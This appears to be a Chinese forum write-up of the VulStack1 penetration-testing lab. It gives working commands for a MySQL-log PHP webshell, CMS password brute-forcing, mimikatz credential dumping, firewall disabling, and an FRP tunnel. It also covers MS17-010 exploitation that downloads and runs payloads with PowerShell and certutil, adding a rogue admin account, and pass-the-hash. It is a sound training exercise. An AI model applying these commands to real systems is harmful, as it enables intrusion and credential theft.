本帖最后由 zhaorong 于 2022-5-30 12:01 编辑
红日靶机系列是完全模拟ATT&CK攻击链路来搭建的,通过练习真实的APT实战环境我们可以从
中快速成长。VulStack1 是该系列的第一个靶场,主要涉及信息收集、漏洞利用、CS上线搭建
隧道以及域内渗透等知识。
0x01 靶机环境搭建
靶场中包含三台靶机,具体的网络拓扑图如下
从上图可知我们需要模拟内网和外网两个网段,因此我们需要在 VMware 中选择虚拟网络
编辑器设置内网网段192.168.52.0/24
完成后为三台靶机在主机网卡中添加VMnet2,与此同时还需要为 Web 服务器添加桥接网卡作为外网网段。
三台靶机的默认开机密码都为hongrisec@2019,登录后提示需要修改密码信息因此根据需要我们
将其修改为Mac123456,最终我们的靶机IP分布如下。
尝试 ping 通各个主机后找到 phpstudy 开启 Web 服务模拟 Web 服务
同时我们需要保持外网,域网络防火墙为未开启状态
正常访问站点,说明环境成功搭建完成
0x02 外网边界突破
信息收集
使用 Nmap 扫描 web 服务器的端口开放情况
nmap -Pn -sV -p- -A 192.168.0.112 --min-rate=1000
80端口
访问后为 phpStudy 探针,在页面中使用弱口令 root/root 能够成功登录 MySQL 数据库
使用 dirsearch 对站点进行目录扫描
dirsearch -u http://192.168.0.112 -e *
成功发现目录phpmyadmin并访问,页面为数据库管理工具 PHPMyAdmin
使用 dirsearch 继续扫描备份文件
dirsearch -u http://192.168.0.112 -w /usr/local/share/dicts/fuzzD
icts_TheKingOfDuck/directoryDicts/top7000.txt
成功发现备份文件beifen.rar,解压后发现这是 xycms 的备份源码
3306端口
尝试使用 hydra 爆破 MySQL 数据库密码,但是目标不允许连接数据库
hydra -L /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/my
sql弱口令/mysql-user.txt -P /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/Se
rviceWeakPass/mysql弱口令/mysql-pass.txt mysql://192.168.0.112 -e nsr -vV
MySQL日志写入木马
通过弱口令root/root可成功登录 PHPMyAdmin 的后台
执行SQL语句查看是否存在写入权限,secure_file_priv显示为 NULL
show variables like '%secure_file%';
如果我们通过into outfile来写入木马,那么由于secure_file_priv的限制会导致这种方案并不可行
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';
因此我们需要通过日志来写入木马,尝试开启日志记录
set global general_log = "ON";
查看日志记录文件
show variables like "general%";
修改日志记录文件为木马文件
set global general_log_file="C:/phpStudy/www/mac.php";
写入木马至指定日志记录文件当中
select '<?php eval($_POST["mac"]);?>'
成功通过蚁剑连接木马文件
YXCMS后台上传木马
在源码中解压后发现yxcms目录并尝试访问,访问后发现页面为 YXCMS
由于 YXCMS 的默认后台为index.php?r=admin,我们尝试访问该后台地址
使用 BurpSuite 截取数据包,复用验证码尝试爆破密码
成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台
选择前台模版并在index_index.php插入木马
保存成功后使用蚁剑连接木马文件
0x03 内网信息探测
CS上线云服务器
在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS
在CS中开启 http 监听器并生成利用程序mac1.exe
上传木马后并在命令行中直接执行
成功上线cs
本机基础环境信息收集
减少回连时间为3秒并查看网络连接情况
sleep 3
shell ipconfig
如果有需要的话可以关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
成功发现目标存在两个网段,说明内网网段中可能存在其他主机
192.168.0.0/24
192.168.52.0/24
运行 mimikatz 成功获得管理员密码为Mac123456
logonpasswords
成功获取用户哈希值
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM
成功上线 SYSTEM 系统管理员
内网域环境信息收集
内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式
shell ipconfig /all
shell net config workstation
成功探测到当前域名为god.org,接下来需要探索目标存在多少域
shell net view /domain
结果显示目标只存在GOD域,而WORKGROUP只是工作组而已。然后尝试寻找域控主机名
shell net group "domain controllers" /domain
结果显示报错RPC 服务器不可用,这是什么原因造成的呢?
原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控
再次寻找域控并确认域控主机名为OWA
有了域控主机名以后我们尝试寻找其他域内主机
net view
shell net group "domain computers" /domain
至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透
0x03 内网横向渗透
建立FRP代理隧道
为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。
FRP配置
frps.ini配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678
frpc.ini配置:
[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
FRP连接
在云服务器上启动 FRP
./frps -c frps.ini
上传 FRP 至靶机后查看文件
在 CS 上启动连接
shell frpc.exe -c frpc.ini
在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道
vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000
使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功
proxychains4 nmap 192.168.52.138 -p 135,445,80
MSF永恒之蓝漏洞利用
FSCAN漏洞扫描
在 CS 中上传 fsacn 并设置扫描目标
## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143
使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞
shell fscan64.exe -hf hosts.txt
域控主机上线CS
在 CS 的会话当中设置新的监听器用于上线内网主机
需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接
借用该监听器生成相应木马mac2.exe
成功将该木马上传至目标的站点目录
在本地开启 MSF 并设置代理
msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
使用 MSF 执行命令上线 CS
msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).Down
loadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run
域控主机成功上线CS
域内主机上线CS
在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用
powershell 执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用CS生
成32位木马mac3.exe
同样地我们将其上传至目标的站点目录
重新设置命令使用 certutil 下载木马,但是目标返回报错信息
msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run
那么我们换一种思路,尝试通过永恒之蓝创建管理员账户
net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac
尝试使用新建管理员通过IPC$进行连接,但目标无法连接
shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac
尝试使用域管理员进行登录,目标连接成功
shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use
将木马复制到域内主机的C盘目录当中
shell cd .. && copy mac3.exe \\192.168.52.141\c$
在 MSF 中通过 MS17-010 执行木马
msf > set command "C:\\mac3.exe"
msf > show options
msf > run
域内主机成功上线CS
域管理员凭证传递利用
凭证传递利用原理
通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连
接使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送
因为链接的 Beacon 使用 Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽
绕防火墙时可能发挥奇效。
凭证传递上线CS
在 CS 的会话中建立 SMB 监听器用于快速传递凭证
在Targets中选择 psexec_psh 传递哈希值
选择会话并设置 SMB 监听器
域控主机成功上线CS
同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希
域内主机成功上线CS
0x04 靶场学习总结
这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010 漏洞利用也没有采
用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网
渗透思路。当然在练习过程中我也遇到了许多问题,比如 certutil.exe 怎么无法在 Windows Server 2003中传递
保存木马文件、FTP 匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现但它们对渗
透思路的打磨有很大帮助。 |